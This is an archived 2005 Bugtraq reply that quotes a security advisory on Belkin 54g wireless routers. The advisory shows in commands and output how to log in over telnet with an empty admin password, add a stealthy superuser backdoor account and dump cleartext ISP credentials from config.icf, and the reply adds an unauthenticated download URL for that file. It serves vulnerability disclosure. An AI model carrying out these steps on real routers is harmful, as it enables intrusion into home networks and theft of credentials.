| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sun, 24 Jul 2005 23:29:19 +0100 From: "E. Kellinis" <me@...her.org.uk> To: bugtraq@...urityfocus.com Subject: Re: several vulnerabilities present in Belkin wireless routers hmm.. and another interesting thingy .. which I am not sure if is the same as what the the original author of the advisory meant >The second interesting thing that an attacker could do is to browse >the filesystem and dump the config file on the screen. The default >name of the config file of these routers is "config.icf". This file >can be obtained in two ways: > >- - from the web interface (http://192.168.2.1) by clicking on "Save >configuration" from what I understand in order to click the Save configuration button you need to be logged in but, if you do request to save the settings files, then the router creates the file config.icf and stores in the router and anyone (without even login into the system) can access it for download from http://192.168.2.1/fs/isfs/config.icf, the file stays there until you reboot the router. E. Kellinis wrote: > just noticed that the TRACE http method is enabled in the router's > webserver as well > > > > m123303@...urityfocus.com wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> Advisory name: several vulnerabilities present in Belkin wireless >> routers >> >> Overall severity rating: >> HIGH risk >> >> Devices affected: "belkin54g" family of wireless routers >> 4 main vulnerabilities are included in this advisory: >> - - default telnet backdoor >> - - password-less administrative account >> - - verbose messages in telnet sessions reveal filesystem structure and >> possible "interesting" files >> - - cleartext sensitive information stored in config file (config.icf) >> >> Date: July 15, 2005 >> >> Author: >> pagvac (Adrian Pastor) >> >> Description: >> I've been able to identify several important vulnerabilities in >> different Belkin wireless routers. These vulnerabilities have been >> tested and verified in at least three different Belkin wireless >> router models which are very similar, not only in the way they look >> but also in their functionalities. >> These Belkin wireless routers are quite popular among home users >> probably due to their affordable price and easiness of use. This >> means that the following vulnerabilities and exploits should be >> present in a big number of devices available out there which should >> be very easy to find for wardrivers. >> Note: these routers use a default SSID of "belkin54g". >> - From here, I'd like to encourage other computer security enthusiasts >> to test what I found in their Belkin wireless routers and also let >> everyone know that positive and negative comments about the content >> of this advisory are welcome. >> >> The first problem is the existance of a default telnet backdoor >> running on the usual 23/tcp port. From my experience, telnet >> interfaces are NOT enabled by default in wireless routers but rather, >> they usually need to be enabled from their administrative web >> interfaces manually: >> >> >> <Start of output> >> >> Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06 >> 18:34 BST >> Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1) >> [1663 ports] at 18:34 >> Discovered open port 53/tcp on 192.168.2.1 >> Discovered open port 80/tcp on 192.168.2.1 >> Discovered open port 23/tcp on 192.168.2.1 >> The SYN Stealth Scan took 1.93s to scan 1663 total ports. >> Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478 >> ports] at 18:34 >> The UDP Scan took 1.92s to scan 1478 total ports. >> Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good. >> Interesting ports on BelkinModem.Belkin (192.168.2.1): >> (The 3133 ports scanned but not shown below are in state: closed) >> PORT STATE SERVICE >> 23/tcp open telnet >> 53/tcp open domain >> 53/udp open|filtered domain >> 67/udp open|filtered dhcpserver >> 80/tcp open http >> 123/udp open|filtered ntp >> 520/udp open|filtered route >> 1900/udp open|filtered UPnP >> MAC Address: 00:11:50:XX:XX:XX (Belkin) >> >> </End of output> >> >> >> This device is usually configured with a default IP address of >> 192.168.2.1. The interesting thing about the telnet interface in this >> case is that it provides users with many powerful commands that are >> NOT accessible through the administrative web interface. Again, let >> me remind you that the telnet service is running straight out of the >> box so no user intervention is needed. >> The telnet service, just like the web interface, can be accessed by >> default with root privileges using a "null" password. When I say >> "null" I mean empty, in other words: no password. The difference is >> that the web interface sends the username to the system so only the >> password is required from the user. In this case, all the user needs >> to do is click on the "Submit" button after accessing >> http://192.168.2.1 without entering any password AT ALL. In the case >> of the telnet service, the authentication is different in the sense >> that the system prompts the user for BOTH, username and password. The >> right combination is admin/"null", where "null" is an empty password >> (just press <enter> when prompted for password): >> >> <Start of output> >> >> # telnet 192.168.2.1 >> >> Trying 192.168.2.1... >> Connected to 192.168.2.1. >> Escape character is '^]'. >> >> ,vvvdP9P???^ ,,, >> vvd###P^`^ vvvvv v >> vv#####?^ ????####vv, >> vv####?? ,vvvdP???^ ,,, ??##^ >> v#####? ,vvd##P?^ #?#v#vvv >> v#####? v###P^ ,vvv, '?#?, >> ######? ####?^ ,vd#P?^ `???## >> #####? v#### ,d##P^ '' >> ###### v#### ]###L _ _ _ >> ___ >> #####? v#### ]##L / / \ |\ | |_ \/ /\ |\ >> | | >> ###### #### ]###L \_ \_/ | \| |_ /\ /--\ | >> \| | >> ?#####v ####v ]##h, ,, >> ?##### ?###h, `9#hv, ,vv### >> ###### #####L ]###L ,v#v' >> ?#####vv ?9##hv, ,,vvvv###' >> ?#####vv `??9P\vv, ^ vv##, >> ###### #######L >> ??###hvv, ,vvv#?##????? >> `????9hdhvv, >> >> Login: admin >> <enter> >> </End of output> >> >> >> As it can be seen, the OS firmware is developed by Conexant, although >> the routers themselves are from Belkin. After researching on both >> Belkin and Conexant websites I found nothing about the OS running in >> these devices and ways to configure them through telnet. However, the >> console mode shows many tools that are available in GNU/Linux >> systems, indicating that this is the type of system running behind >> the scenes. >> >> After logging in, the user is immediately granted root privileges on >> the system. There are many interesting things an attacker can do at >> this point. Most of the interesting functions are under the "system" >> commands menu. In order to see all the available commands enter "?". >> >> <Start of output> >> >> - --> ? >> 802.1x 802.1x port based authentication >> agent Get a file from a remote host >> autoprov >> bridge Configure layer 2 bridge >> console Console access >> dhcpclient DHCP client configuration commands >> dhcpserver DHCP server configuration commands >> diagnosticTest >> dnsclient DNS client configuration commands >> dnsrelay DNS relay configuration >> ethernet Commands to configure ethernet transports >> firewall Firewall configuration commands >> help Top level CLI help >> igmp >> imdebug Directly access the information model >> ip Configure IP router >> logger Log to a remote host using syslog >> nat NAT configuration commands >> port Physical port configuration commands >> pppoa PPP over ATM configuration >> pppoe >> radclient RADIUS Client Configuration commands >> rfc1483 Commands to configure RFC1483 transports >> security Security configuration commands not specific to NAT >> or firewall >> sntpclient Simple Network Time Protocol Client commands >> source Read a file of commands >> system System administration commands >> transports Transport configuration commands >> upnp UPnP configuration commands >> user User commands >> webserver Webserver configuration commands >> wpa Configure WPA (Wireless Protected Access) >> - --> >> >> </End of output> >> >> >> To see the available flags/options for a certain command, enter the >> name of the command followed by "?" again and so on: >> >> >> <Start of output> >> >> - --> system ? >> add Add a user to the system >> auto-update Update device firmware automatically from a remote >> server >> config Configuration file maintenance >> cpuload Show current CPU loading >> delete Remove system users >> info Display hardware/software information >> legal >> list List system information >> log Set logging options >> restart Restart system (same as pressing reset) >> set Set user privileges >> >> </End of output> >> >> >> The first exploit an attacker could perform is to add a backdoor >> account with administrative privileges: >> >> >> <Start of output> >> >> - --> system list logins >> >> Users: >> May May conf. May Access >> ID | Name | Conf. | web | Dialin | Level | Comment >> - -----|------------|----------|----------|----------|------------|----- >> - -------- >> 1 | admin | ENABLED | ENABLED | disabled | superuser | >> Admin user >> - ---------------------------------------------------------------------- >> - --------- >> >> - --> system set user guest access superuser >> >> >> - --> system list logins >> >> Users: >> May May conf. May Access >> ID | Name | Conf. | web | Dialin | Level | Comment >> - -----|------------|----------|----------|----------|------------|----- >> - -------- >> 1 | admin | ENABLED | ENABLED | disabled | superuser | >> Admin user >> 2 | guest | ENABLED | ENABLED | disabled | superuser | >> Created by CLI >> - ---------------------------------------------------------------------- >> - --------- >> >> >> - --> system set login guest maydialin enabled >> >> >> - --> system list logins >> >> Users: >> May May conf. May Access >> ID | Name | Conf. | web | Dialin | Level | Comment >> - -----|------------|----------|----------|----------|------------|----- >> - -------- >> 1 | admin | ENABLED | ENABLED | disabled | superuser | >> Admin user >> 2 | guest | ENABLED | ENABLED | ENABLED | superuser | >> Created by CLI >> - ---------------------------------------------------------------------- >> - --------- >> >> <End of output> >> >> >> In this case the attacker first lists the avaialable accounts on the >> system and then creates an acccount called "guest" assigning >> superuser privileges to it. After that, the attacker also gives >> dialin permissions to this new backdoor account. In reality, if an >> attacker doesn't want to be loud, he/she would probably use an >> account name that doesn't attract the attention from the owner of the >> router. Such account could be called something like "test", "guest", >> "manager", "default", "root", or "administrator". In this case the >> attacker chose "guest". >> >> I'd like to say that I don't exactly know what the system means by >> "May Dialin". I simply confirmed during my tests that an attacker can >> indeed assign "dialin" privileges to a newly created superuser >> account and use it to connect to the router through the telnet >> interface with root privileges. >> I suspect that the "dialin" permissions are related to either one of >> the following: >> >> - - permissions to allow a given account to connect to the router - - >> a dialin interface which can be used by the administrator to dial >> the router from the PSTN (telephone network) provided that the router >> is connected to a telephone line. >> If anyone has played with this option in Belkin routers, please send >> me your comments. Due to the lack of documentation available about >> the telnet interface of these routers, I could not find further >> information on "dialin" permissions. >> >> After adding the backdoor account the attacker can log into the >> router through telnet using this new account. After that, the >> attacker can add a password with the "user password" command: >> >> >> <Start of output> >> >> - --> user password >> Enter new password: ******** >> Again to verify: ******** >> >> </End of output> >> >> >> The second interesting thing that an attacker could do is to browse >> the filesystem and dump the config file on the screen. The default >> name of the config file of these routers is "config.icf". This file >> can be obtained in two ways: >> >> - - from the web interface (http://192.168.2.1) by clicking on "Save >> configuration" >> - - through the telnet interface by browsing the filesystem in the >> "console enable" mode >> >> After accessing the "console enable" mode the user is provided with a >> bunch of powerful commands, including popular Linux/GNU tools such as >> "cat". This is how to access the console mode (notice how "?" is used >> to list available options for the "console" command): >> >> >> <Start of output> >> >> - --> console ? >> enable Enter console mode >> process Execute console command >> >> >> - --> console enable >> Switching from CLI to console mode - type 'exit' to return >> >> Quantum> >> >> >> </End of output> >> >> >> >> The way I found where the config file was located was NOT by browsing >> the filesystem manually with "cd" and "ls" commands, but rather by >> exploiting an interesting behavior of these routers. Basically, when >> you save configuration files from the web interface, make invalid >> http requests, or save system settings (from the web interface as >> well), the system will dump messages on the telnet interface. For >> instance, if you connect to the telnet service and save the >> configuration settings from the web interface, the following message >> will be dumped on the telnet session: >> >> <Start of output> >> >> Saving to backup configuration //isfs/im.conf.backup >> >> </End of output> >> >> >> The following error was dumped after playing with invalid requests: >> >> >> <Start of output> >> >> Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html' >> not found or wrong type >> >> </End of output> >> >> >> I suggest playing with the web interface while having the telnet >> session open to find interesting files and directories as an >> alternative to manually browsing the filesystem. Also, it might be >> fun to try MITM proxy attacks against the router's web interface with >> tools such as Achilles or Paros. This would allow us to modify the >> inputs included in the POST requests which would normally be >> restricted by the client-side forms. Doing this should hopefully dump >> some interesting errors on the telnet session. >> The following are some of the directories present in the filesystem: >> >> /isfs/ >> /shared/ >> /webconfig/images/ >> /webconfig/styles/ >> /webconfig/styles/ >> /webconfig/update/ >> >> >> >> Many tools are available in the "console enable" mode. In this case, >> I used "cat" to dump sensitive information found in the config file. >> Remember that a backup of the configuration file can be obtained from >> /isfs/im.conf.backup. >> >> Interesting things which I found in these file are the following: >> - - hostnames and IP addresses from the DNS table (these are computers >> that are connected in the present and have been connected in the >> past to the router) >> - - ISP account configuration including username and password (yes, >> this is all in cleartext as well!) >> >> The following output is an example of DNS entries extracted from the >> config file. Note that the original MAC addresses, hostnames, >> username and password have been modified for privacy reasons: >> >> <Start of output> >> >> N ImDnsRelayLanHostEntry >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName1ipv4 >> A hostName computerName1 >> A ipaddr 192.168.2.21 >> A macAddress XX:XX:XX:XX:XX:XX >> N ImDnsRelayLanHostEntry >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName2ipv4 >> A hostName computerName2 >> A ipaddr 192.168.2.6 >> A macAddress XX:XX:XX:XX:XX:XX >> N ImDnsRelayLanHostEntry >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName3ipv4 >> A hostName computerName3 >> A ipaddr 192.168.2.4 >> A macAddress XX:XX:XX:XX:XX:XX >> N ImDnsRelayLanHostEntry >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName4ipv4 >> A hostName computerName4 >> A ipaddr 192.168.2.7 >> A macAddress XX:XX:XX:XX:XX:XX >> >> </End of output> >> >> >> The following are some of the settings related to the ISP account >> configuration including sensitive information such as username and >> password in the clear: >> >> >> <Start of output> >> >> A weLoginName myname.mysurname@...l.ispdomain.com >> A weLoginPassword this-is-my-password-in-the-clear >> A weLoginAuth chap >> >> </End of output> >> >> >> I'd like to stress that the consequences of storing the username, >> password and authentication protocol in the clear can be exploited in >> very malicious ways. For instance, the first thing that an attacker >> can exploit is the fact that ISPs usually give users some web >> services after they get their DSL connections set up. I'm talking >> about things such as webmail and account management services. By >> default, these services use the same password as the one used on the >> ISP account (which can be obtained from the config file). In other >> cases, these passwords also remain the same because it's just easier >> for users to have the same password for all their ISP-related >> accounts. >> Also, let's remember that the same password could also be used by the >> user in other services such as messengers, ftp servers and so on. >> This type of information could be easily obtained by an attacker >> sniffing the network either with a wireless sniffer such as Airopeek >> NX or by performing a MITM attack through ARP poisoning with a tool >> like Cain. >> >> I'm sure that if other people play more with these routers they can >> find other vulnerabilities, exploits and interesting functions. >> Personally, I was surprised by the power that these Belkin routers >> give you once they're accessed through the telnet interface. >> >> Because most of these "belkin54" family of routers give you root >> privileges by default through the telnet interface, it is really up >> to the attacker on what to exploit. It's just a matter of imagination >> and curiosity. Some ideas could include redirecting users to the >> router's web server whose files could be previously replaced by >> scripts that would exploit the latest vulnerabilities present in the >> most popular web browsers. >> >> -----BEGIN PGP SIGNATURE----- >> Version: PGP 8.1 - not licensed for commercial use: www.pgp.com >> >> iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtVwqHW0AoMIK >> Yknf7sFxGJw7hbIK1oX642EB >> =5Mdx >> -----END PGP SIGNATURE----- >> >> >> >> >
Powered by blists - more mailing lists